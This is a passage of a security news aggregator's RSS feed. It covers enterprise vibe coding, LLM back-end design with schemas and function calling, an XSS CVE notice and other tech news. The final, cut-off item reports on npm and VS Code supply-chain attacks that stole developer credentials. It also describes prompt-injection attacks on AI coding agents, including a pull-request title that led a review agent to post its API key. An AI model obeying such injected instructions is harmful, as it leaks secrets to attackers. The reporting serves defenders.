<p>“We’ve seen people on the data side building their own query tools, product managers creating interactive prototypes with no design background, and teams across the company using AI to handle tasks they used to outsource to specialists,” Victoria says. “The culture we’ve tried to build is one where experimentation isn’t reserved for engineers. If you’re willing to learn and use the tools we have, anyone can code to improve their workflows on their own.”</p>



<p>Although Victoria has been using agentic coding tools for years, he says the “real unlock” of benefits came in 2025, with the release of Claude Code.</p>



<p>“I’ve seen a huge impact since then, and also with Cursor and Codex,” he says. “When someone can build their own tool or prototype in an afternoon instead of waiting weeks in an engineering queue, it changes what’s worth doing.”</p>



<p>The bigger benefit is how it’s changed the relationship between roles, Victoria says. “People who know how to build software can now produce far more value than ever before,” he says. “There’s still a gap between a vibe-coded idea and a running product. If you know how to ship a running product, you’re very valuable in this world.”</p>



<h2 class="wp-block-heading">Facing down challenges</h2>



<p>Embracing more widespread use of vibe coding in the enterprise comes with its own set of challenges.</p>



<p>One of these is maintaining quality when everyone can build. “When you open development to non-engineers, the risk is code that works but doesn’t follow project conventions, creating technical debt faster than manual development,” Weller says.</p>



<p>EnFi has addressed this by investing heavily in the rules and skills layer of coding. More than 40 custom skills impact AI output to match pre-determined architectural patterns.</p>



<p>“The agent doesn’t just write code; it writes code that passes the same review criteria we apply to human engineers,” Weller says. “Every branch, whether initiated by the CEO or a junior engineer, goes through the same automated quality gates and human code review.”</p>



<p>For business software provider Agiloft, “the biggest challenge isn’t technical, it’s organizational,” says <a href="https://www.linkedin.com/in/noe-ramos-psyd-3a1808178/" rel="nofollow">Noe Ramos</a>, vice president of AI operations. Agiloft is building an AI-native development capacity across every business function, embedding it into processes such as finance, human resources, and professional services.</p>



<p>“Most companies, including ours, are still learning where work actually happens versus where they think it happens,” Ramos says. “Before you can extend AI into a business function, you have to understand the real workflow, not the documented one. That discovery work is underestimated almost everywhere.”</p>



<p>The company also had to work through “the natural friction of trust and adoption,” Ramos says. “The human variable, though critically important to AI, is always the rate-limiting factor in this case, not the technology.”</p>



<p>On the governance side, Agiloft has had to address issues such as access controls, identity management, and data handling. “We built a formal approval process and a structured use-case lifecycle to manage this, so AI doesn’t get introduced into business teams in ways that create technical debt or compliance exposure,” Ramos says.</p>



<p>The primary challenge for healthcare technology provider iCore was creating confidence among non-technical users rather than technical barriers, says <a href="https://www.linkedin.com/in/thiago-soares-060938b5/" rel="nofollow">Thiago Soares</a>, COO. The company has actively supported AI-assisted development outside its engineering team, including operations and client success functions that are building automated reporting tools, internal workflow templates, and client onboarding checklists that previously required developer time to produce.</p>



<p>“Staff unfamiliar with AI-assisted development needed structured onboarding before adoption felt natural,” Soares says. “We addressed that through peer-led sessions, where early adopters demonstrated practical use cases relevant to each team’s specific workflows.</p>



<p>Uneven confidence levels can slow progress, especially when people worry about getting it wrong, Daly says. “Creating a safe space to learn is important,” she says. “Creating small teams to work together with peer-to-peer support and encouraging shared learning has also been helpful to support progress through practical application, which is where we see people learn best.”</p>



<p><a href="https://www.cio.com/article/3984527/how-to-establish-an-effective-ai-grc-framework.html">Governance</a> is another key consideration, particularly in regulated industries with strict data handling protocols, such as healthcare. “Successful organizations set out explicit boundaries within which machine-generated code can be developed outside of formal development pathways,” Soares says.</p>



<p>IT leadership at iCore has built the guardrails needed to make expansion of vibe coding safe, “defining data access boundaries and compliance checkpoints that align with our commitment to trust and security,” Soares says. “That governance foundation is what allows cloud-driven innovation to move forward without creating the regulatory exposure healthcare environments cannot afford.”</p>



<h2 class="wp-block-heading">The future of coding</h2>



<p>Organizations that are moving vibe coding beyond software development teams are aiming to expand these efforts further.</p>



<p>At iCore, expansion of vibe coding into marketing and human resources functions is already under way, Soares says, focused on content workflows and documentation automation. These are “areas where vibe coding delivers efficiency without touching sensitive clinical or compliance infrastructure,” he says.</p>



<p>Agiloft plans to expand vibe coding further and make it into a standard practice “carefully and iteratively,” Ramos says, moving from isolated use cases toward a cohesive AI operating model with a shared infrastructure and AI-literate teams across functions, rather than just AI-enabled tools scattered across departments.</p>



<p>“That said, expansion for us means scaling what works, not scaling the toolset,” Ramos says. “We track every AI initiative through a structured lifecycle, from intake through decommission, precisely to avoid accumulating a stack of underutilized capabilities. Every function will eventually have embedded AI, but the goal is for those capabilities to be connected, governed, and [properly] used, not just deployed.”</p>



<p>EnFi is expanding from engineering-adjacent roles, such as product development and customer success, to other functions. “The same pattern — describe what you want, see it built, review and decide — applies to internal tooling, reporting, operational workflows, and documentation,” Weller says.</p>



<p>Organizations that master AI-assisted development internally “will be the ones capable of deploying AI-assisted workflows to their customers with the quality, governance, and reliability that regulated industries demand,” Weller says. “The internal practice is the proof point.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Taming the generative AI back end]]></title>
<description><![CDATA[The novel power of today’s AI is in its ability to deal with intent. This is a superpower, no doubt, but it creates a huge imperative for app developers: the need to map between the anything-is-possible large language model (LLM) and the strict capabilities of code. 



Unrestrained, LLM endpoint...]]></description>
<link>https://tsecurity.de/de/3547402/ai-nachrichten/taming-the-generative-ai-back-end/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3547402/ai-nachrichten/taming-the-generative-ai-back-end/</guid>
<pubDate>Tue, 26 May 2026 11:18:34 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The novel power of today’s AI is in its ability to deal with intent. This is a superpower, no doubt, but it creates a huge imperative for app developers: the need to map between the anything-is-possible <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large language model</a> (LLM) and the strict capabilities of code. </p>



<p>Unrestrained, LLM endpoints will let your user create unicorns and leprechauns while your back end can handle only purchase orders and customer profiles. You must harness the LLM’s ability to understand intent to what the app is logically capable of, meanwhile keeping context (and therefore spend) under control. Here I’ll discuss some practical, realistic techniques for doing that today.</p>



<p>Between what the user wants to do and what your app is capable of is you. Or, more specifically, the mediation layer you build. This layer can sit anywhere on a broad spectrum, from using incredibly lightweight inline strings to using a massive <a href="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html" data-type="link" data-id="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html">retrieval-augmented generation</a> (RAG) system backed by a <a href="https://www.infoworld.com/article/2335281/vector-databases-in-llms-and-search.html" data-type="link" data-id="https://www.infoworld.com/article/2335281/vector-databases-in-llms-and-search.html">vector database</a>. Somewhere in there is the sweet spot for your particular project.</p>



<p>It turns out there is a great deal you can do without resorting to the extra infrastructure of a vector database, and indeed, one should avoid that until it is really, truly needed. The first step in keeping your AI API’s manageable is the response schema.</p>



<h2 class="wp-block-heading">Response schemas</h2>



<p>Probably the single most potent weapon in your arsenal, the essential first move, is forcing the responses from the AI model into a well-defined structure, often <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html" data-type="link" data-id="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON</a>.</p>



<p>Not long ago, this was a hit-or-miss affair. The developer essentially begged the model for a structured response, by adding “Respond with structured JSON like this: { “name” : “string }” to the prompt. And this would kind of work, but sometimes the AI would add a helpful “Here is your JSON: ” and the response handler would break. </p>



<p>Recent models are much better about this. They have specific “circuits” that watch for these response structure indications. This means they are much more reliable when you issue even a complex prompt query that ends with a response schema enforcement.</p>



<p>However, there is an even more rigorous way to enforce a structured response with newer models, which is to define the response mime type in the request. For example, in Gemini:</p>



<pre class="wp-block-code"><code>responseMimeType: "application/json"
</code></pre>



<p>Different models use slightly different names (for example, ChatGPT uses <code>response_format</code>). The beauty of this approach is that it is completely domain-agnostic. In an enterprise context, a user might prompt the model with a messy, fragmented request like, “I need to restock those red ergonomic chairs for the Austin office, grab me a dozen.” With a schema, the AI parses that intent into a clean <code>{"sku": "CHR-RED-ERG", "quantity": 12, "location_id": "TX-AUS"}</code>. The mime type will ensure that you get structured JSON in the response.</p>



<p>Along with passing a mime type, you can pass a JSON schema to the LLM. This schema will ensure that the model’s response meets the shape and keys for the data you define. Usually, a JSON schema library like <a href="https://zod.dev/" data-type="link" data-id="https://zod.dev/">Zod</a> is used to define the schema and validate the response. For example, for our chairs, you might use Zod to define:</p>



<pre class="wp-block-code"><code>import { z } from "zod";
const orderZodSchema = z.object({
  sku: z.string(),
  quantity: z.number().int(),
  location_id: z.string()
});
</code></pre>



<p>I’ve been relying heavily on this exact pattern while architecting the engine for an open-source, AI-mediated <a href="https://en.wikipedia.org/wiki/Multi-user_dungeon" data-type="link" data-id="https://en.wikipedia.org/wiki/Multi-user_dungeon">MUD</a> called <a href="https://terraagnostum.com/">Terra Agnostum</a>. In a text-based RPG, players input highly descriptive, unpredictable actions. If a user types, “I cautiously inspect the humming control panel for sabotage,” the LLM understands the narrative intent. But to actually resolve the action, the back end needs a JSON payload containing the exact mechanical requirements—identifying the target object, selecting the correct engine skill check, and mapping the action to the player’s core stats (like their <code>AWARE</code> or <code>WILL</code> attributes).</p>



<h2 class="wp-block-heading">Function calling</h2>



<p>If response schemas are the gateway to manageable LLM services, the next level up is function calling (sometimes called “tool use”). The basic idea here is to take your specific, in-app functions (the “tools”) and hand them to the LLM as part of the prompt request. Passing the model your functions gives it exact knowledge of what tools are available, i.e. what it can do code-wise in the context of the application. The model then can return an actual function call with arguments based on the intent.</p>



<p>To be clear, the LLM does not actually call the function. What happens is, you tell the LLM what functions are available (along with their signatures), and the LLM selects one, replies with what it <em>wants </em>to call, and then <em>your code </em>makes the actual call. </p>



<p>Let’s take an example from a standard enterprise CRM or ERP system. A sales director opens the command bar and types, “Pull the Q3 revenue numbers for the EMEA region, compare them to Q2, and email a summary to the regional VP.”</p>



<p>If you pass that to a standard generative endpoint, it will likely hallucinate a polite response about how it doesn’t have access to your database. But with function calling, you can pass the prompt along with a JSON array defining the signatures of two of your back-end tools: <code>get_revenue_data(region, quarter)</code> and <code>send_email(recipient_role, data)</code>.</p>



<p>The AI reads the intent and immediately recognizes it shouldn’t generate text to the user. Instead, it pauses and returns a structured payload to your application: <code>{"function": "get_revenue_data", "arguments": {"region": "EMEA", "quarter": ["Q2", "Q3"]}}</code>.</p>



<p>Your deterministic code takes over. It runs the SQL query, grabs the numbers, and hands that raw data back to the LLM in the context window. The LLM processes the data, writes the summary, and then outputs a second function call: <code>{"function": "send_email", "arguments": {"recipient_role": "Regional VP", "data": "[Summary Text]"}}</code>. </p>



<p>As with response mime type and schema definition, different models use different methods to accept function calls. You can see examples from ChatGPT and Gemini <a href="https://developers.openai.com/api/docs/guides/function-calling" data-type="link" data-id="https://developers.openai.com/api/docs/guides/function-calling">here</a> and <a href="https://ai.google.dev/gemini-api/docs/function-calling?example=meeting" data-type="link" data-id="https://ai.google.dev/gemini-api/docs/function-calling?example=meeting">here</a>. </p>



<h2 class="wp-block-heading">The ‘back end’ is wherever your state lives</h2>



<p>It is worth noting that the LLM doesn’t care where your code executes. When an LLM makes a function call, it isn’t executing code; it is merely returning a structured JSON payload. It is up to your app, wherever it may be running, to parse the JSON and execute the function.</p>



<p>In a traditional architecture, your server receives that JSON and runs a database query. But in a modern single-page application (SPA) or a serverless architecture, the response might be captured by a client-side JavaScript function running directly in the user’s browser, or it might be handled by a serverless function (e.g. <a href="https://vercel.com/docs/functions" data-type="link" data-id="https://vercel.com/docs/functions">Vercel Functions</a>).</p>



<p>In the Terra Agnostum engine, the LLM frequently returns function calls that never touch a server. Instead, they trigger client-side JavaScript to immediately update the player’s local state manager, inject a new item into their UI inventory, or trigger a CSS visual update. Whether your back end is a big Java monolith talking to a SQL database or a lightweight client-side state manager, the orchestration pattern is identical: the LLM handles the intent, and your rigid code handles the execution.</p>



<p>Passing function calls back to a client-side environment (like a React or vanilla JS app) is fantastic for rapid prototyping and local state management. However, remember the golden rule of application security: never trust the client.</p>



<p>If your LLM returns a payload instructing the browser to <code>grant_admin_privileges()</code> or <code>add_funds_to_account()</code>, a malicious user could simply open their browser console and execute that local JavaScript function themselves, bypassing your application. For anything involving sensitive data, financial transactions, or shared-world state, the LLM must return its function calls to a secure, server-side environment where the execution cannot be spoofed.</p>



<h2 class="wp-block-heading">Prompt routing</h2>



<p>When working with LLM services, it pays to think about how requests are routed, especially in discovering those cases where the service can be avoided entirely. The bottom line reality is that calls to LLM endpoints mean lag. You are doing a network request, like any service call, but AI services tend to churn more than others. It’s just the nature of their work.</p>



<p>Anytime you can avoid that call in the first place, you are winning. Not only are you avoiding latency, you are dodging the other big bugbear in AI: spend. You start to really see dollar signs in place of tokens when you work a lot with an LLM service.</p>



<p>Returning to the Terra Agnostum game engine, this hybrid approach is essential for a playable experience. If a player hits the North movement and the room to the north already exists in the local map cache, the application’s deterministic router intercepts the command and simply updates the database coordinates. The room description loads instantly. </p>



<p>In enterprise software settings, such as a purchase system, these kinds of hard-coded happy paths already exist and can be directly relied on when the fuzzy intent layer is not required.</p>



<h2 class="wp-block-heading">MCP vs. the capability layer</h2>



<p><a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a> (MCP), an open standard originally introduced by Anthropic, has become widely used by developers to connect LLMs with all manner of tools, services, and data sources. Which begs the question… When should you adopt a standardized protocol like MCP, and when should you just build an internal capability layer into your application?</p>



<p>The answer maps somewhat to an old architectural debate: <a href="https://www.infoworld.com/article/2158174/what-is-service-oriented-architecture.html" data-type="link" data-id="https://www.infoworld.com/article/2158174/what-is-service-oriented-architecture.html">service-oriented architecture</a> (SOA) versus the classic <a href="https://www.infoworld.com/article/2241819/exploring-the-mvc-mvp-and-mvvm-design-patterns.html">model-view-controller</a> (MVC) pattern.</p>



<p>MCP is designed for decoupled, dynamic discovery. In this architecture, the AI agent is the “customer” being catered to. It reaches out across boundaries to discover what tools, databases, or APIs are available to it, much like an enterprise service bus in an SOA implementation. If you are building a universal AI assistant that needs to autonomously query Jira, pull from GitHub, and cross-reference Slack, MCP is the right choice.</p>



<p>Conversely, building an internal capability layer, like we did in the Terra Agnostum engine, is app-centric. It is tightly coupled. The application itself is the boss, and the LLM is just a translation microservice acting as a controller. The LLM doesn’t discover anything; the application explicitly hands it a strict, state-dependent menu of functions and says, “Translate the user’s fuzzy intent into one of these specific actions.”</p>



<p>If you are building a stand-alone, purpose-built application (whether that’s a corporate procurement tool or an RPG), you rarely need a universal agent. You need a well-regulated mediator. Don’t over-engineer a dynamic, decoupled agent ecosystem when a tightly coupled capability layer will give you better security, lower latency, and strict execution control.</p>



<h2 class="wp-block-heading">Context management </h2>



<p>In the world of LLM services, context is the fuel, but it is also the primary driver of cost and latency. Every character you send to an LLM increases the processing time and the bill. The most common architectural mistake is “context sprawl,” sending the model everything including the kitchen sink in hopes that it will figure it out.</p>



<p>Instead, think of context as a hierarchy of complexity. You should move up to the next level <em>only</em> when the business requirements force you to do so.</p>



<ul class="wp-block-list">
<li><strong>Level 1: The surgical string (state-driven routing)</strong>. This is the leanest form of context. Based on the user’s current page or state (e.g., “The user is on the Billing tab”), you inject a short and specific instruction. It is low overhead and extremely fast.</li>



<li><strong>Level 2: Context pinning (persistent truths)</strong>. This involves identifying a small, “static” set of truths—like a user’s role or a specific set of business rules—and pinning them to every request. In Terra Agnostum, this is used for “Lore Injection,” which ensures the LLM always knows the fundamental rules of the world without searching a database.</li>



<li><strong>Level 3: Zero-DB RAG (local archive)</strong>: Before reaching for a heavy database, look at your existing filesystem. If your documentation or rules fit in a few markdown files, just read them into the context window as needed. It utilizes your existing infrastructure with medium token cost and low overhead.</li>



<li><strong>Level 4: Vector RAG (semantic engine)</strong>: This is the heavyweight champion. It involves chunking data, generating mathematical embeddings, and using a vector database like Pinecone or Milvus. This is only necessary for massive oceans of unpredictable data.</li>
</ul>



<p>We should also mention in passing the emerging “stateful” API space. There are tools like Google’s <a href="https://ai.google.dev/gemini-api/docs/caching" data-type="link" data-id="https://ai.google.dev/gemini-api/docs/caching">context caching</a> that allow you to attach context more cheaply or more persistently.</p>



<h2 class="wp-block-heading">Developer and mediator</h2>



<p>The practical truth about using an LLM as a service is that if you aren’t careful, you will end up with “résumé-driven development” — i.e., an application that incorporates complex vector RAG because it looks good on a LinkedIn profile, even when a surgical string would have been faster and cheaper and… saner.</p>



<p>Probably the most challenging part of software development with AI (on all sides) is keeping a human mind wrapped around the intense amount of content an LLM can generate. As app developers, our job has shifted. We are no longer just writing the code that executes; we are the mediators between the code, the AI, and the users. We build the fast paths to save on latency, we define the function menus to ensure security, and we curate the context to protect the budget.</p>



<p>Tame your back end by being a minimalist. Every time you can avoid an AI call, or make that call shorter and more structured, you aren’t just saving money, you’re building a more responsive and reliable application.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[MacBook Pro Owner Used a Hair Dryer and Melted His Keyboard While Applying a Skin]]></title>
<description><![CDATA[A MacBook Pro owner learned an expensive lesson after using a hair dryer while applying a skin to his new M5 Pro, leaving several keyboard keys visibly warped and damaged. The incident quickly gained attention after Reddit user “NAVPRO360” shared images showing the melted arrow keys, proving that...]]></description>
<link>https://tsecurity.de/de/3544211/ios-mac-os/macbook-pro-owner-used-a-hair-dryer-and-melted-his-keyboard-while-applying-a-skin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3544211/ios-mac-os/macbook-pro-owner-used-a-hair-dryer-and-melted-his-keyboard-while-applying-a-skin/</guid>
<pubDate>Sun, 24 May 2026 22:24:07 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A MacBook Pro owner learned an expensive lesson after using a hair dryer while applying a skin to his new M5 Pro, leaving several keyboard keys visibly warped and damaged. The incident quickly gained attention after Reddit user “NAVPRO360” shared images showing the melted arrow keys, proving that not every part of Apple’s premium laptop handles heat the same way.



The mistake happened while the owner was applying a dbrand skin to protect the MacBook Pro from scratches and daily wear. According to the post, the skin developed creases around the wrist rest area during installation, so the user decided to use a hair dryer to smooth things out. While the aluminum body handled the heat without any visible problem, the plastic scissor-switch keys did not survive the process.



Why The Keys Melted













Apple builds the MacBook Pro chassis using aluminum because the material absorbs and spreads heat efficiently. That is one reason MacBook Pro models feel solid and durable during regular use. However, the keyboard keys themselves still use plastic components, which react very differently when exposed to direct heat for even a short period.



The damaged keys in the Reddit images appear warped and uneven, especially around the arrow key section, where the heat likely stayed concentrated for too long. Since hair dryers can generate surprisingly high temperatures at close range, the plastic softened and lost its original shape almost immediately.



Replacing individual MacBook Pro keys is possible, although the process depends on the extent of the damage underneath the keycaps. Some Reddit replies pointed out that Apple sells replacement parts through its repair channels, while cheaper alternatives are also available through sites like AliExpress.



The owner also confirmed that the laptop has AppleCare+ coverage, though it remains unclear whether Apple will treat the incident as accidental damage with a service fee attached.



The situation also serves as a reminder for MacBook owners who apply skins or wraps themselves because excessive heat can permanently damage sensitive components long before the aluminum body shows any signs of trouble.]]></content:encoded>
</item>
<item>
<title><![CDATA[Robotaxis need to be tested in real traffic]]></title>
<description><![CDATA[To achieve safe, cost-effective autonomy we need to see how other road users react to the vehicles]]></description>
<link>https://tsecurity.de/de/3544006/ai-nachrichten/robotaxis-need-to-be-tested-in-real-traffic/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3544006/ai-nachrichten/robotaxis-need-to-be-tested-in-real-traffic/</guid>
<pubDate>Sun, 24 May 2026 19:49:05 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[To achieve safe, cost-effective autonomy we need to see how other road users react to the vehicles]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 10 Best Static Application Security Testing (SAST) Tools for Security Teams in 2026]]></title>
<description><![CDATA[The complexity of modern software development requires security to be deeply embedded within the engineering pipeline rather than treated as an afterthought. Whether you are a full-stack developer managing extensive front-end React files and back-end API integrations, or a security engineer leadi...]]></description>
<link>https://tsecurity.de/de/3543625/it-security-nachrichten/top-10-best-static-application-security-testing-sast-tools-for-security-teams-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3543625/it-security-nachrichten/top-10-best-static-application-security-testing-sast-tools-for-security-teams-in-2026/</guid>
<pubDate>Sun, 24 May 2026 15:07:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The complexity of modern software development requires security to be deeply embedded within the engineering pipeline rather than treated as an afterthought. Whether you are a full-stack developer managing extensive front-end React files and back-end API integrations, or a security engineer leading an enterprise infrastructure overhaul, catching flaws before code is compiled is crucial. This […]</p>
<p>The post <a href="https://cyberpress.org/best-sast-tools/">Top 10 Best Static Application Security Testing (SAST) Tools for Security Teams in 2026</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-30691 | cyntler react 1.17.1 TXTRenderer cross site scripting]]></title>
<description><![CDATA[A vulnerability was found in cyntler react 1.17.1 and classified as problematic. Affected by this vulnerability is an unknown functionality of the component TXTRenderer. The manipulation results in cross site scripting.

This vulnerability is cataloged as CVE-2026-30691. The attack may be launche...]]></description>
<link>https://tsecurity.de/de/3542640/sicherheitsluecken/cve-2026-30691-cyntler-react-1171-txtrenderer-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3542640/sicherheitsluecken/cve-2026-30691-cyntler-react-1171-txtrenderer-cross-site-scripting/</guid>
<pubDate>Sat, 23 May 2026 23:52:38 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/cyntler:react">cyntler react 1.17.1</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. Affected by this vulnerability is an unknown functionality of the component <em>TXTRenderer</em>. The manipulation results in cross site scripting.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-30691">CVE-2026-30691</a>. The attack may be launched remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Air France, Airbus Guilty of Corporate Manslaughter In 2009 Air France 447 Crash]]></title>
<description><![CDATA[Long-time Slashdot reader UnknowingFool shares this report from the BBC:

Air France and Airbus have been found guilty of manslaughter over a 2009 plane crash which killed 228 people. The Paris Appeals Court found the airline and aircraft manufacturer "solely and entirely responsible" for the inc...]]></description>
<link>https://tsecurity.de/de/3542537/it-security-nachrichten/air-france-airbus-guilty-of-corporate-manslaughter-in-2009-air-france-447-crash/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3542537/it-security-nachrichten/air-france-airbus-guilty-of-corporate-manslaughter-in-2009-air-france-447-crash/</guid>
<pubDate>Sat, 23 May 2026 21:50:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Long-time Slashdot reader UnknowingFool shares this report from the BBC:

Air France and Airbus have been found guilty of manslaughter over a 2009 plane crash which killed 228 people. The Paris Appeals Court found the airline and aircraft manufacturer "solely and entirely responsible" for the incident, in which flight AF447 from Rio de Janeiro to Paris crashed into the Atlantic Ocean. The passenger jet stalled during a storm and plunged into the water, killing all on board. A court had previously cleared the companies in April 2023, but they were found guilty on Thursday after an eight-week trial. 

Both have repeatedly denied the charges and say they will appeal... The companies have been asked to pay the maximum fine — €225,000 ($261,720; £194,500) each — but some victims' families have criticised the amount as a token penalty... 

In 2012, French investigators found a combination of technical failure involving ice in the plane's sensors and the pilots' inability to react to the aircraft stalling led to it plunging into the sea. The captain was on a break when the co-pilots became confused by faulty air-speed readings. They then mistakenly pointed the nose of the plane upwards when it stalled, instead of down. Investigators concluded the co-pilots did not have the training to deal with the situation. Pilot training has since been improved and the speed sensors replaced.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Air+France%2C+Airbus+Guilty+of+Corporate+Manslaughter+In+2009+Air+France+447+Crash%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F05%2F23%2F1840256%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F05%2F23%2F1840256%2Fair-france-airbus-guilty-of-corporate-manslaughter-in-2009-air-france-447-crash%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/05/23/1840256/air-france-airbus-guilty-of-corporate-manslaughter-in-2009-air-france-447-crash?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Valid certificates, stolen accounts: how attackers broke npm's last trust signal]]></title>
<description><![CDATA[On May 19, 633 malicious npm package versions passed Sigstore provenance verification. They were cleared by the system because the attacker had generated valid signing certificates from a compromised maintainer account.Sigstore worked exactly as designed: it verified the package was built in a CI...]]></description>
<link>https://tsecurity.de/de/3540959/it-nachrichten/valid-certificates-stolen-accounts-how-attackers-broke-npms-last-trust-signal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3540959/it-nachrichten/valid-certificates-stolen-accounts-how-attackers-broke-npms-last-trust-signal/</guid>
<pubDate>Sat, 23 May 2026 01:17:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>On May 19, 633 malicious npm package versions <a href="https://www.endorlabs.com/learn/mini-shai-hulud-returns-42-malicious-npm-packages-fake-sigstore-badges-in-antv-ecosystem-attack">passed Sigstore provenance verification</a>. They were cleared by the system because the attacker had generated valid signing certificates from a compromised maintainer account.</p><p>Sigstore worked exactly as designed: it verified the package was built in a CI environment, confirmed a valid certificate was issued, and recorded everything in the transparency log. What it cannot do is determine whether the person holding the credentials authorized the publish — and that gap turned the last automated trust signal in npm into camouflage.</p><p>One day earlier, StepSecurity <a href="https://www.stepsecurity.io/blog/nx-console-vs-code-extension-compromised">documented an attack on the Nx Console VS Code extension</a>, a widely used developer tool with more than 2.2 million lifetime installs. Version 18.95.0 was published using stolen credentials on May 18 and stayed live for under 40 minutes — but Nx internal telemetry showed approximately 6,000 activations during that window, most through auto-update, compared to just 28 official downloads. The payload harvested Claude Code configuration files, AWS keys, GitHub tokens, npm tokens, 1Password vault contents, and Kubernetes service account tokens.</p><p>The <a href="https://venturebeat.com/security/shai-hulud-worm-172-npm-pypi-packages-valid-provenance-ci-cd-audit">Mini Shai-Hulud campaign</a>, attributed by multiple researchers to a financially motivated threat actor identified as TeamPCP, hit the npm registry at 01:39 UTC on May 19. <a href="https://www.endorlabs.com/learn/mini-shai-hulud-returns-42-malicious-npm-packages-fake-sigstore-badges-in-antv-ecosystem-attack">Endor Labs detected the initial wave</a> when two dormant packages, jest-canvas-mock and size-sensor, published new versions containing an obfuscated 498KB Bun script — neither had been updated in over three years, making a sudden version with raw GitHub commit hash dependencies a detection signal, but only if the tooling is watching.</p><p>By 02:06 UTC, the worm had propagated across the @antv data visualization ecosystem and dozens of unscoped packages, including echarts-for-react (~1.1 million weekly downloads). Socket raised the total to 639 compromised versions across 323 unique packages in this wave. Across the full campaign lifecycle, Socket has tracked 1,055 malicious versions across 502 packages spanning npm, PyPI, and Composer.</p><p>StepSecurity confirmed the payload contained full Sigstore integration. The attacker didn't just steal credentials; they could sign and publish downstream npm packages that carried valid provenance attestations.</p><p>These two incidents aren’t isolated. Research teams at Endor Labs, Socket, StepSecurity, Adversa AI, Johns Hopkins, Microsoft MSRC, and LayerX independently proved that the developer tool verification model is broken, and no vendor framework audits all of the attack surfaces that failed.</p><p>Seven attack surfaces failed in the 48 hours between May 18 and May 19 — npm provenance forgery, VS Code extension credential theft, MCP server auto-execution, CI/CD agent prompt injection, agent framework code execution, IDE credential storage exposure, and shadow AI data exposure — and the audit grid below maps each.</p><h2>The verification model is broken across all four major AI coding CLIs </h2><p>Adversa AI <a href="https://adversa.ai/blog/trustfall-coding-agent-security-flaw-rce-claude-cursor-gemini-cli-copilot/">disclosed TrustFall</a> on May 7, demonstrating that Claude Code, Gemini CLI, Cursor CLI, and Copilot CLI all auto-execute project-defined MCP servers the moment a developer accepts a folder trust prompt. All four default to “Yes” or “Trust.” One keypress spawns an unsandboxed process with the developer’s full privileges.</p><p>The MCP server runs with enough privilege to read stored secrets and source code from other projects. On CI runners using Claude Code’s GitHub Action in headless mode, the trust dialog never renders. The attack executes with zero human interaction.</p><p>Johns Hopkins researchers Aonan Guan, Zhengyu Liu, and Gavin Zhong published “<a href="https://venturebeat.com/security/ai-agent-runtime-security-system-card-audit-comment-and-control-2026/">Comment and Control</a>,” proving that a malicious instruction in a GitHub pull request title caused Claude Code Security Review to post its own API key as a comment. The same attack worked on Google’s Gemini CLI Action and GitHub’s Copilot Agent. Anthropic rated the vulnerability CVSS 9.4 Critical through its HackerOne program.</p><p>Microsoft MSRC <a href="https://www.microsoft.com/en-us/security/blog/2026/05/07/prompts-become-shells-rce-vulnerabilities-ai-agent-frameworks/">disclosed two critical Semantic Kernel vulnerabilities</a> on May 7. One routes attacker-controlled vector store fields into a Python eval() call; the other exposes a host-side file download method as a callable kernel function — meaning 